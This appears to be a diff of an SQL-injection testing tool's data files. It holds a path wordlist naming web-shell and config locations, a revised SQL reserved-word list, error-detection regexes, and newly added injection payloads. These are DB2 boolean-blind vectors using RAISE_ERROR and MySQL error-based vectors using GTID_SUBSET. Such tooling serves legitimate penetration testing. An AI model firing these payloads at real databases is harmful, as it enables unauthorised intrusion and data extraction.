/var/www/html/shell.php
|
||||
/var/www/html/wso.php
|
||||
|
||||
# Misc
|
||||
|
||||
/etc/lib/nfs/etab
|
||||
/app/app.js
|
||||
/app/configure.js
|
||||
/app/config/config.json
|
||||
|
||||
@@ -452,26 +452,13 @@ WRITEXOR
|
||||
YEAR_MONTH
|
||||
ZEROFILL
|
||||
|
||||
# PostgreSQL keywords (reference: https://www.postgresql.org/docs/9.3/sql-keywords-appendix.html)
|
||||
# PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html)
|
||||
|
||||
A
|
||||
ABORT
|
||||
ABS
|
||||
ABSENT
|
||||
ABSOLUTE
|
||||
ACCESS
|
||||
ACCORDING
|
||||
ACTION
|
||||
ADA
|
||||
ADD
|
||||
ADMIN
|
||||
AFTER
|
||||
AGGREGATE
|
||||
ACOS
|
||||
ALL
|
||||
ALLOCATE
|
||||
ALSO
|
||||
ALTER
|
||||
ALWAYS
|
||||
ANALYSE
|
||||
ANALYZE
|
||||
AND
|
||||
@@ -483,110 +470,61 @@ ARRAY_MAX_CARDINALITY
|
||||
AS
|
||||
ASC
|
||||
ASENSITIVE
|
||||
ASSERTION
|
||||
ASSIGNMENT
|
||||
ASIN
|
||||
ASYMMETRIC
|
||||
AT
|
||||
ATAN
|
||||
ATOMIC
|
||||
ATTRIBUTE
|
||||
ATTRIBUTES
|
||||
AUTHORIZATION
|
||||
AVG
|
||||
BACKWARD
|
||||
BASE64
|
||||
BEFORE
|
||||
BEGIN
|
||||
BEGIN_FRAME
|
||||
BEGIN_PARTITION
|
||||
BERNOULLI
|
||||
BETWEEN
|
||||
BIGINT
|
||||
BINARY
|
||||
BIT
|
||||
BIT_LENGTH
|
||||
BLOB
|
||||
BLOCKED
|
||||
BOM
|
||||
BOOLEAN
|
||||
BOTH
|
||||
BREADTH
|
||||
BY
|
||||
C
|
||||
CACHE
|
||||
CALL
|
||||
CALLED
|
||||
CARDINALITY
|
||||
CASCADE
|
||||
CASCADED
|
||||
CASE
|
||||
CAST
|
||||
CATALOG
|
||||
CATALOG_NAME
|
||||
CEIL
|
||||
CEILING
|
||||
CHAIN
|
||||
CHAR
|
||||
CHARACTER
|
||||
CHARACTERISTICS
|
||||
CHARACTERS
|
||||
CHARACTER_LENGTH
|
||||
CHARACTER_SET_CATALOG
|
||||
CHARACTER_SET_NAME
|
||||
CHARACTER_SET_SCHEMA
|
||||
CHAR_LENGTH
|
||||
CHECK
|
||||
CHECKPOINT
|
||||
CLASS
|
||||
CLASS_ORIGIN
|
||||
CLASSIFIER
|
||||
CLOB
|
||||
CLOSE
|
||||
CLUSTER
|
||||
COALESCE
|
||||
COBOL
|
||||
COLLATE
|
||||
COLLATION
|
||||
COLLATION_CATALOG
|
||||
COLLATION_NAME
|
||||
COLLATION_SCHEMA
|
||||
COLLECT
|
||||
COLUMN
|
||||
COLUMNS
|
||||
COLUMN_NAME
|
||||
COMMAND_FUNCTION
|
||||
COMMAND_FUNCTION_CODE
|
||||
COMMENT
|
||||
COMMENTS
|
||||
COMMIT
|
||||
COMMITTED
|
||||
CONCURRENTLY
|
||||
CONDITION
|
||||
CONDITION_NUMBER
|
||||
CONFIGURATION
|
||||
CONNECT
|
||||
CONNECTION
|
||||
CONNECTION_NAME
|
||||
CONSTRAINT
|
||||
CONSTRAINTS
|
||||
CONSTRAINT_CATALOG
|
||||
CONSTRAINT_NAME
|
||||
CONSTRAINT_SCHEMA
|
||||
CONSTRUCTOR
|
||||
CONTAINS
|
||||
CONTENT
|
||||
CONTINUE
|
||||
CONTROL
|
||||
CONVERSION
|
||||
CONVERT
|
||||
COPY
|
||||
CORR
|
||||
CORRESPONDING
|
||||
COST
|
||||
COS
|
||||
COSH
|
||||
COUNT
|
||||
COVAR_POP
|
||||
COVAR_SAMP
|
||||
CREATE
|
||||
CROSS
|
||||
CSV
|
||||
CUBE
|
||||
CUME_DIST
|
||||
CURRENT
|
||||
@@ -602,44 +540,25 @@ CURRENT_TIMESTAMP
|
||||
CURRENT_TRANSFORM_GROUP_FOR_TYPE
|
||||
CURRENT_USER
|
||||
CURSOR
|
||||
CURSOR_NAME
|
||||
CYCLE
|
||||
DATA
|
||||
DATABASE
|
||||
DATALINK
|
||||
DATE
|
||||
DATETIME_INTERVAL_CODE
|
||||
DATETIME_INTERVAL_PRECISION
|
||||
DAY
|
||||
DB
|
||||
DEALLOCATE
|
||||
DEC
|
||||
DECFLOAT
|
||||
DECIMAL
|
||||
DECLARE
|
||||
DEFAULT
|
||||
DEFAULTS
|
||||
DEFERRABLE
|
||||
DEFERRED
|
||||
DEFINED
|
||||
DEFINER
|
||||
DEGREE
|
||||
DEFINE
|
||||
DELETE
|
||||
DELIMITER
|
||||
DELIMITERS
|
||||
DENSE_RANK
|
||||
DEPTH
|
||||
DEREF
|
||||
DERIVED
|
||||
DESC
|
||||
DESCRIBE
|
||||
DESCRIPTOR
|
||||
DETERMINISTIC
|
||||
DIAGNOSTICS
|
||||
DICTIONARY
|
||||
DISABLE
|
||||
DISCARD
|
||||
DISCONNECT
|
||||
DISPATCH
|
||||
DISTINCT
|
||||
DLNEWCOPY
|
||||
DLPREVIOUSCOPY
|
||||
@@ -653,313 +572,176 @@ DLURLSCHEME
|
||||
DLURLSERVER
|
||||
DLVALUE
|
||||
DO
|
||||
DOCUMENT
|
||||
DOMAIN
|
||||
DOUBLE
|
||||
DROP
|
||||
DYNAMIC
|
||||
DYNAMIC_FUNCTION
|
||||
DYNAMIC_FUNCTION_CODE
|
||||
EACH
|
||||
ELEMENT
|
||||
ELSE
|
||||
EMPTY
|
||||
ENABLE
|
||||
ENCODING
|
||||
ENCRYPTED
|
||||
END
|
||||
END-EXEC
|
||||
END_FRAME
|
||||
END_PARTITION
|
||||
ENFORCED
|
||||
ENUM
|
||||
EQUALS
|
||||
ESCAPE
|
||||
EVENT
|
||||
EVERY
|
||||
EXCEPT
|
||||
EXCEPTION
|
||||
EXCLUDE
|
||||
EXCLUDING
|
||||
EXCLUSIVE
|
||||
EXEC
|
||||
EXECUTE
|
||||
EXISTS
|
||||
EXP
|
||||
EXPLAIN
|
||||
EXPRESSION
|
||||
EXTENSION
|
||||
EXTERNAL
|
||||
EXTRACT
|
||||
FALSE
|
||||
FAMILY
|
||||
FETCH
|
||||
FILE
|
||||
FILTER
|
||||
FINAL
|
||||
FIRST
|
||||
FIRST_VALUE
|
||||
FLAG
|
||||
FLOAT
|
||||
FLOOR
|
||||
FOLLOWING
|
||||
FOR
|
||||
FORCE
|
||||
FOREIGN
|
||||
FORTRAN
|
||||
FORWARD
|
||||
FOUND
|
||||
FRAME_ROW
|
||||
FREE
|
||||
FREEZE
|
||||
FROM
|
||||
FS
|
||||
FULL
|
||||
FUNCTION
|
||||
FUNCTIONS
|
||||
FUSION
|
||||
G
|
||||
GENERAL
|
||||
GENERATED
|
||||
GET
|
||||
GLOBAL
|
||||
GO
|
||||
GOTO
|
||||
GRANT
|
||||
GRANTED
|
||||
GREATEST
|
||||
GROUP
|
||||
GROUPING
|
||||
GROUPS
|
||||
HANDLER
|
||||
HAVING
|
||||
HEADER
|
||||
HEX
|
||||
HIERARCHY
|
||||
HOLD
|
||||
HOUR
|
||||
ID
|
||||
IDENTITY
|
||||
IF
|
||||
IGNORE
|
||||
ILIKE
|
||||
IMMEDIATE
|
||||
IMMEDIATELY
|
||||
IMMUTABLE
|
||||
IMPLEMENTATION
|
||||
IMPLICIT
|
||||
IMPORT
|
||||
IN
|
||||
INCLUDING
|
||||
INCREMENT
|
||||
INDENT
|
||||
INDEX
|
||||
INDEXES
|
||||
INDICATOR
|
||||
INHERIT
|
||||
INHERITS
|
||||
INITIAL
|
||||
INITIALLY
|
||||
INLINE
|
||||
INNER
|
||||
INOUT
|
||||
INPUT
|
||||
INSENSITIVE
|
||||
INSERT
|
||||
INSTANCE
|
||||
INSTANTIABLE
|
||||
INSTEAD
|
||||
INT
|
||||
INTEGER
|
||||
INTEGRITY
|
||||
INTERSECT
|
||||
INTERSECTION
|
||||
INTERVAL
|
||||
INTO
|
||||
INVOKER
|
||||
IS
|
||||
ISNULL
|
||||
ISOLATION
|
||||
JOIN
|
||||
K
|
||||
KEY
|
||||
KEY_MEMBER
|
||||
KEY_TYPE
|
||||
LABEL
|
||||
JSON_ARRAY
|
||||
JSON_ARRAYAGG
|
||||
JSON_EXISTS
|
||||
JSON_OBJECT
|
||||
JSON_OBJECTAGG
|
||||
JSON_QUERY
|
||||
JSON_TABLE
|
||||
JSON_TABLE_PRIMITIVE
|
||||
JSON_VALUE
|
||||
LAG
|
||||
LANGUAGE
|
||||
LARGE
|
||||
LAST
|
||||
LAST_VALUE
|
||||
LATERAL
|
||||
LC_COLLATE
|
||||
LC_CTYPE
|
||||
LEAD
|
||||
LEADING
|
||||
LEAKPROOF
|
||||
LEAST
|
||||
LEFT
|
||||
LENGTH
|
||||
LEVEL
|
||||
LIBRARY
|
||||
LIKE
|
||||
LIKE_REGEX
|
||||
LIMIT
|
||||
LINK
|
||||
LISTEN
|
||||
LISTAGG
|
||||
LN
|
||||
LOAD
|
||||
LOCAL
|
||||
LOCALTIME
|
||||
LOCALTIMESTAMP
|
||||
LOCATION
|
||||
LOCATOR
|
||||
LOCK
|
||||
LOG
|
||||
LOG10
|
||||
LOWER
|
||||
M
|
||||
MAP
|
||||
MAPPING
|
||||
MATCH
|
||||
MATCHED
|
||||
MATERIALIZED
|
||||
MATCHES
|
||||
MATCH_NUMBER
|
||||
MATCH_RECOGNIZE
|
||||
MAX
|
||||
MAXVALUE
|
||||
MAX_CARDINALITY
|
||||
MEASURES
|
||||
MEMBER
|
||||
MERGE
|
||||
MESSAGE_LENGTH
|
||||
MESSAGE_OCTET_LENGTH
|
||||
MESSAGE_TEXT
|
||||
METHOD
|
||||
MIN
|
||||
MINUTE
|
||||
MINVALUE
|
||||
MOD
|
||||
MODE
|
||||
MODIFIES
|
||||
MODULE
|
||||
MONTH
|
||||
MORE
|
||||
MOVE
|
||||
MULTISET
|
||||
MUMPS
|
||||
NAME
|
||||
NAMES
|
||||
NAMESPACE
|
||||
NATIONAL
|
||||
NATURAL
|
||||
NCHAR
|
||||
NCLOB
|
||||
NESTING
|
||||
NEW
|
||||
NEXT
|
||||
NFC
|
||||
NFD
|
||||
NFKC
|
||||
NFKD
|
||||
NIL
|
||||
NO
|
||||
NONE
|
||||
NORMALIZE
|
||||
NORMALIZED
|
||||
NOT
|
||||
NOTHING
|
||||
NOTIFY
|
||||
NOTNULL
|
||||
NOWAIT
|
||||
NTH_VALUE
|
||||
NTILE
|
||||
NULL
|
||||
NULLABLE
|
||||
NULLIF
|
||||
NULLS
|
||||
NUMBER
|
||||
NUMERIC
|
||||
OBJECT
|
||||
OCCURRENCES_REGEX
|
||||
OCTETS
|
||||
OCTET_LENGTH
|
||||
OF
|
||||
OFF
|
||||
OFFSET
|
||||
OIDS
|
||||
OLD
|
||||
OMIT
|
||||
ON
|
||||
ONE
|
||||
ONLY
|
||||
OPEN
|
||||
OPERATOR
|
||||
OPTION
|
||||
OPTIONS
|
||||
OR
|
||||
ORDER
|
||||
ORDERING
|
||||
ORDINALITY
|
||||
OTHERS
|
||||
OUT
|
||||
OUTER
|
||||
OUTPUT
|
||||
OVER
|
||||
OVERLAPS
|
||||
OVERLAY
|
||||
OVERRIDING
|
||||
OWNED
|
||||
OWNER
|
||||
P
|
||||
PAD
|
||||
PARAMETER
|
||||
PARAMETER_MODE
|
||||
PARAMETER_NAME
|
||||
PARAMETER_ORDINAL_POSITION
|
||||
PARAMETER_SPECIFIC_CATALOG
|
||||
PARAMETER_SPECIFIC_NAME
|
||||
PARAMETER_SPECIFIC_SCHEMA
|
||||
PARSER
|
||||
PARTIAL
|
||||
PARTITION
|
||||
PASCAL
|
||||
PASSING
|
||||
PASSTHROUGH
|
||||
PASSWORD
|
||||
PATH
|
||||
PATTERN
|
||||
PER
|
||||
PERCENT
|
||||
PERCENTILE_CONT
|
||||
PERCENTILE_DISC
|
||||
PERCENT_RANK
|
||||
PERIOD
|
||||
PERMISSION
|
||||
PERMUTE
|
||||
PLACING
|
||||
PLANS
|
||||
PLI
|
||||
PORTION
|
||||
POSITION
|
||||
POSITION_REGEX
|
||||
POWER
|
||||
PRECEDES
|
||||
PRECEDING
|
||||
PRECISION
|
||||
PREPARE
|
||||
PREPARED
|
||||
PRESERVE
|
||||
PRIMARY
|
||||
PRIOR
|
||||
PRIVILEGES
|
||||
PROCEDURAL
|
||||
PROCEDURE
|
||||
PROGRAM
|
||||
PUBLIC
|
||||
QUOTE
|
||||
PTF
|
||||
RANGE
|
||||
RANK
|
||||
READ
|
||||
READS
|
||||
REAL
|
||||
REASSIGN
|
||||
RECHECK
|
||||
RECOVERY
|
||||
RECURSIVE
|
||||
REF
|
||||
REFERENCES
|
||||
REFERENCING
|
||||
REFRESH
|
||||
REGR_AVGX
|
||||
REGR_AVGY
|
||||
REGR_COUNT
|
||||
@@ -969,185 +751,87 @@ REGR_SLOPE
|
||||
REGR_SXX
|
||||
REGR_SXY
|
||||
REGR_SYY
|
||||
REINDEX
|
||||
RELATIVE
|
||||
RELEASE
|
||||
RENAME
|
||||
REPEATABLE
|
||||
REPLACE
|
||||
REPLICA
|
||||
REQUIRING
|
||||
RESET
|
||||
RESPECT
|
||||
RESTART
|
||||
RESTORE
|
||||
RESTRICT
|
||||
RESULT
|
||||
RETURN
|
||||
RETURNED_CARDINALITY
|
||||
RETURNED_LENGTH
|
||||
RETURNED_OCTET_LENGTH
|
||||
RETURNED_SQLSTATE
|
||||
RETURNING
|
||||
RETURNS
|
||||
REVOKE
|
||||
RIGHT
|
||||
ROLE
|
||||
ROLLBACK
|
||||
ROLLUP
|
||||
ROUTINE
|
||||
ROUTINE_CATALOG
|
||||
ROUTINE_NAME
|
||||
ROUTINE_SCHEMA
|
||||
ROW
|
||||
ROWS
|
||||
ROW_COUNT
|
||||
ROW_NUMBER
|
||||
RULE
|
||||
RUNNING
|
||||
SAVEPOINT
|
||||
SCALE
|
||||
SCHEMA
|
||||
SCHEMA_NAME
|
||||
SCOPE
|
||||
SCOPE_CATALOG
|
||||
SCOPE_NAME
|
||||
SCOPE_SCHEMA
|
||||
SCROLL
|
||||
SEARCH
|
||||
SECOND
|
||||
SECTION
|
||||
SECURITY
|
||||
SEEK
|
||||
SELECT
|
||||
SELECTIVE
|
||||
SELF
|
||||
SENSITIVE
|
||||
SEQUENCE
|
||||
SEQUENCES
|
||||
SERIALIZABLE
|
||||
SERVER
|
||||
SERVER_NAME
|
||||
SESSION
|
||||
SESSION_USER
|
||||
SET
|
||||
SETOF
|
||||
SETS
|
||||
SHARE
|
||||
SHOW
|
||||
SIMILAR
|
||||
SIMPLE
|
||||
SIZE
|
||||
SIN
|
||||
SINH
|
||||
SKIP
|
||||
SMALLINT
|
||||
SNAPSHOT
|
||||
SOME
|
||||
SOURCE
|
||||
SPACE
|
||||
SPECIFIC
|
||||
SPECIFICTYPE
|
||||
SPECIFIC_NAME
|
||||
SQL
|
||||
SQLCODE
|
||||
SQLERROR
|
||||
SQLEXCEPTION
|
||||
SQLSTATE
|
||||
SQLWARNING
|
||||
SQRT
|
||||
STABLE
|
||||
STANDALONE
|
||||
START
|
||||
STATE
|
||||
STATEMENT
|
||||
STATIC
|
||||
STATISTICS
|
||||
STDDEV_POP
|
||||
STDDEV_SAMP
|
||||
STDIN
|
||||
STDOUT
|
||||
STORAGE
|
||||
STRICT
|
||||
STRIP
|
||||
STRUCTURE
|
||||
STYLE
|
||||
SUBCLASS_ORIGIN
|
||||
SUBMULTISET
|
||||
SUBSET
|
||||
SUBSTRING
|
||||
SUBSTRING_REGEX
|
||||
SUCCEEDS
|
||||
SUM
|
||||
SYMMETRIC
|
||||
SYSID
|
||||
SYSTEM
|
||||
SYSTEM_TIME
|
||||
SYSTEM_USER
|
||||
T
|
||||
TABLE
|
||||
TABLES
|
||||
TABLESAMPLE
|
||||
TABLESPACE
|
||||
TABLE_NAME
|
||||
TEMP
|
||||
TEMPLATE
|
||||
TEMPORARY
|
||||
TEXT
|
||||
TAN
|
||||
TANH
|
||||
THEN
|
||||
TIES
|
||||
TIME
|
||||
TIMESTAMP
|
||||
TIMEZONE_HOUR
|
||||
TIMEZONE_MINUTE
|
||||
TO
|
||||
TOKEN
|
||||
TOP_LEVEL_COUNT
|
||||
TRAILING
|
||||
TRANSACTION
|
||||
TRANSACTIONS_COMMITTED
|
||||
TRANSACTIONS_ROLLED_BACK
|
||||
TRANSACTION_ACTIVE
|
||||
TRANSFORM
|
||||
TRANSFORMS
|
||||
TRANSLATE
|
||||
TRANSLATE_REGEX
|
||||
TRANSLATION
|
||||
TREAT
|
||||
TRIGGER
|
||||
TRIGGER_CATALOG
|
||||
TRIGGER_NAME
|
||||
TRIGGER_SCHEMA
|
||||
TRIM
|
||||
TRIM_ARRAY
|
||||
TRUE
|
||||
TRUNCATE
|
||||
TRUSTED
|
||||
TYPE
|
||||
TYPES
|
||||
UESCAPE
|
||||
UNBOUNDED
|
||||
UNCOMMITTED
|
||||
UNDER
|
||||
UNENCRYPTED
|
||||
UNION
|
||||
UNIQUE
|
||||
UNKNOWN
|
||||
UNLINK
|
||||
UNLISTEN
|
||||
UNLOGGED
|
||||
UNNAMED
|
||||
UNMATCHED
|
||||
UNNEST
|
||||
UNTIL
|
||||
UNTYPED
|
||||
UPDATE
|
||||
UPPER
|
||||
URI
|
||||
USAGE
|
||||
USER
|
||||
USER_DEFINED_TYPE_CATALOG
|
||||
USER_DEFINED_TYPE_CODE
|
||||
USER_DEFINED_TYPE_NAME
|
||||
USER_DEFINED_TYPE_SCHEMA
|
||||
USING
|
||||
VACUUM
|
||||
VALID
|
||||
VALIDATE
|
||||
VALIDATOR
|
||||
VALUE
|
||||
VALUES
|
||||
VALUE_OF
|
||||
@@ -1158,22 +842,15 @@ VARYING
|
||||
VAR_POP
|
||||
VAR_SAMP
|
||||
VERBOSE
|
||||
VERSION
|
||||
VERSIONING
|
||||
VIEW
|
||||
VOLATILE
|
||||
WHEN
|
||||
WHENEVER
|
||||
WHERE
|
||||
WHITESPACE
|
||||
WIDTH_BUCKET
|
||||
WINDOW
|
||||
WITH
|
||||
WITHIN
|
||||
WITHOUT
|
||||
WORK
|
||||
WRAPPER
|
||||
WRITE
|
||||
XML
|
||||
XMLAGG
|
||||
XMLATTRIBUTES
|
||||
@@ -1181,7 +858,6 @@ XMLBINARY
|
||||
XMLCAST
|
||||
XMLCOMMENT
|
||||
XMLCONCAT
|
||||
XMLDECLARATION
|
||||
XMLDOCUMENT
|
||||
XMLELEMENT
|
||||
XMLEXISTS
|
||||
@@ -1191,12 +867,8 @@ XMLNAMESPACES
|
||||
XMLPARSE
|
||||
XMLPI
|
||||
XMLQUERY
|
||||
XMLROOT
|
||||
XMLSCHEMA
|
||||
XMLSERIALIZE
|
||||
XMLTABLE
|
||||
XMLTEXT
|
||||
XMLVALIDATE
|
||||
YEAR
|
||||
YES
|
||||
ZONE
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -213,6 +213,15 @@ Formats:
|
||||
<suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>2</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>3</ptype>
|
||||
<prefix>%'</prefix>
|
||||
<suffix> AND '[RANDSTR]%'='[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>2</level>
|
||||
<clause>1</clause>
|
||||
|
||||
@@ -83,7 +83,7 @@
|
||||
<error regexp="CLI Driver.*?DB2"/>
|
||||
<error regexp="DB2 SQL error"/>
|
||||
<error regexp="\bdb2_\w+\("/>
|
||||
<error regexp="SQLSTATE.+SQLCODE"/>
|
||||
<error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
|
||||
<error regexp="com\.ibm\.db2\.jcc"/>
|
||||
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
|
||||
<error regexp="Pdo[./_\\]Ibm"/>
|
||||
|
||||
@@ -824,7 +824,6 @@ Tag: <test>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -845,7 +844,6 @@ Tag: <test>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1193,7 +1191,6 @@ Tag: <test>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1214,7 +1211,6 @@ Tag: <test>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1332,6 +1328,44 @@ Tag: <test>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 boolean-based blind - ORDER BY clause</title>
|
||||
<stype>1</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
|
||||
<request>
|
||||
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 boolean-based blind - ORDER BY clause (original value)</title>
|
||||
<stype>1</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
|
||||
<request>
|
||||
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- Works in MySQL, Oracle, etc. -->
|
||||
<test>
|
||||
<title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
|
||||
@@ -1452,7 +1486,6 @@ Tag: <test>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1474,7 +1507,6 @@ Tag: <test>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
|
||||
@@ -91,6 +91,46 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
|
||||
<stype>2</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 5.6</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
|
||||
<stype>2</stype>
|
||||
<level>4</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 5.6</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
|
||||
<stype>2</stype>
|
||||
@@ -404,7 +444,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -425,7 +464,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -446,7 +484,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -467,7 +504,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -488,7 +524,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -509,7 +544,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -672,7 +706,7 @@
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,9</clause>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
@@ -689,9 +723,9 @@
|
||||
<test>
|
||||
<title>Firebird OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<level>4</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,9</clause>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
@@ -710,7 +744,7 @@
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,9</clause>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
@@ -727,9 +761,9 @@
|
||||
<test>
|
||||
<title>MonetDB OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<level>4</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,9</clause>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
@@ -748,7 +782,7 @@
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
